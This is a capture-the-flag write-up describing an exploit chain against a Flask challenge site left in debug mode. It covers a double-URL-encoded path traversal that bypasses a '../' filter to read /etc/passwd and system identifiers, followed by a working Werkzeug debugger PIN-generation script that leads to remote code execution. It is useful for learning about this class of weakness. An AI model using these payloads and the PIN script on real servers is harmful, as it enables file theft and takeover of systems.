Statement:
One of my college friend is learning web-dev with Flask . One day he showed me his very first website for file searching. But he did a mistake. And somehow I managed to break into his website. Now can you spot the mistake and help him to secure his site?
Demo Flag: KCTF{Fl4g_H3r3}
http://167.99.8.90:7777/
By visiting the website, I can see the presence of a search field :
During a search, a POST request is made on the filename
parameter :
POST /home HTTP/1.1
Host: 167.99.8.90:7777
Content-Length: 10
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://167.99.8.90:7777
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://167.99.8.90:7777/home
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
filename=x
When trying to get an invalid path with GET request, I get the following page with error messages :
In the error messages, I can read the following source code :
if __name__ == "__main__":
app.run(host='0.0.0.0', port=7777 , debug=True)
The rendering of the error page and the messages indicate that the site runs under python with debug set to true.
I decide to check the headers returned by the site to know the versions used : curl -I http://167.99.8.90:7777
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.9.16
Date: Sun, 22 Jan 2023 15:56:37 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1116
Connection: close
With this information, a request on the endpoint /console
should redirect me to a debug console but this one is protected via PIN authentication :
It is possible to calculate the PIN by retrieving some metrics, for that I would have to find a LFI.
Probably via a POST request on the /home
endpoint !
A simple search on app.py
returns the source code :
Here is the source code once beautifying :
from flask import Flask, request, render_template, current_app
import os, urllib
app = Flask(__name__)
@app.route("/")
def start():
return render_template("index.html")
@app.route("/home", methods=['POST'])
def home():
filename = urllib.parse.unquote(request.form['filename'])
data = "Try Harder....."
naughty = "../"
if naughty not in filename:
filename = urllib.parse.unquote(filename)
if os.path.isfile(current_app.root_path + '/'+ filename):
with current_app.open_resource(filename) as f:
data = f.read()
return render_template("index.html", read = data)
@app.errorhandler(404)
def ahhhh(e):
return render_template("ahhh.html")
if __name__ == "__main__":
app.run(host='0.0.0.0', port=7777 , debug=True)
By reading the source code, we know the following points :
- Filter on
../
- Positionned on the root directory of the application +
/
With this information, a multiple encoding should allow to exploit a LFI.
I will try to get the file /etc/passwd
with double encoding :
%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd
Now I need to retrieve the following information to generate the PIN code :
username
modname
getattr(app, '__name__', getattr(app.__class__, '__name__'))
getattr(mod, '__file__', None)
str(uuid.getnode())
machine-id
I know already some values :
username
value from/etc/passwd
: yooboimodname
: flask.appgetattr(app, '__name__', getattr(app.__class__, '__name__'))
: Flask
I find getattr(mod, '__file__', None)
value from the traceback page :
For str(uuid.getnode())
value, I get the file /proc/net/arp
through LFI :
%252E%252E%252F%252E%252E%252F%252E%252E%252Fproc%252Fnet%252Farp
Now I know I can get the file linked to eth0 /sys/class/net/eth0/address
:
%252E%252E%252F%252E%252E%252F%252E%252E%252Fsys%252Fclass%252Fnet%252Feth0%252Faddress
I convert MAC adress to decimal expression :
>>> print(0x0242ac110003)
2485377892355
And the latest value machine-id
from /proc/sys/kernel/random/boot_id
:
%252E%252E%252F%252E%252E%252F%252E%252E%252Fproc%252Fsys%252Fkernel%252Frandom%252Fboot_id
I’ve to adapt the script with our values :
import hashlib
from itertools import chain
probably_public_bits = [
'yooboi',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892355',# str(uuid.getnode()), /sys/class/net/ens33/address
'e01d426f-826c-4736-9cd2-a96608b66fd8'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
I get back the value 276-444-173 but this PIN code didn’t unlock the access to the console.
From that moment, my team and I were stuck on this challenge.
Later, we found this resource that specifies the following point :
Newer versions of Werkzeug use SHA1 instead of MD5
All that was left was to modify the script to use SHA1 :
h = hashlib.sha1()
#h = hashlib.md5()
I get the following PIN code : 695-086-043 and this one unlock the access to the console.
Once access to the console, it is possible to RCE via a python shell :
Flag: KCTF{n3v3r_run_y0ur_53rv3r_0n_d3bu6_m0d3}
We were a little frustrated to not finish it in time, but the challenge was interesting.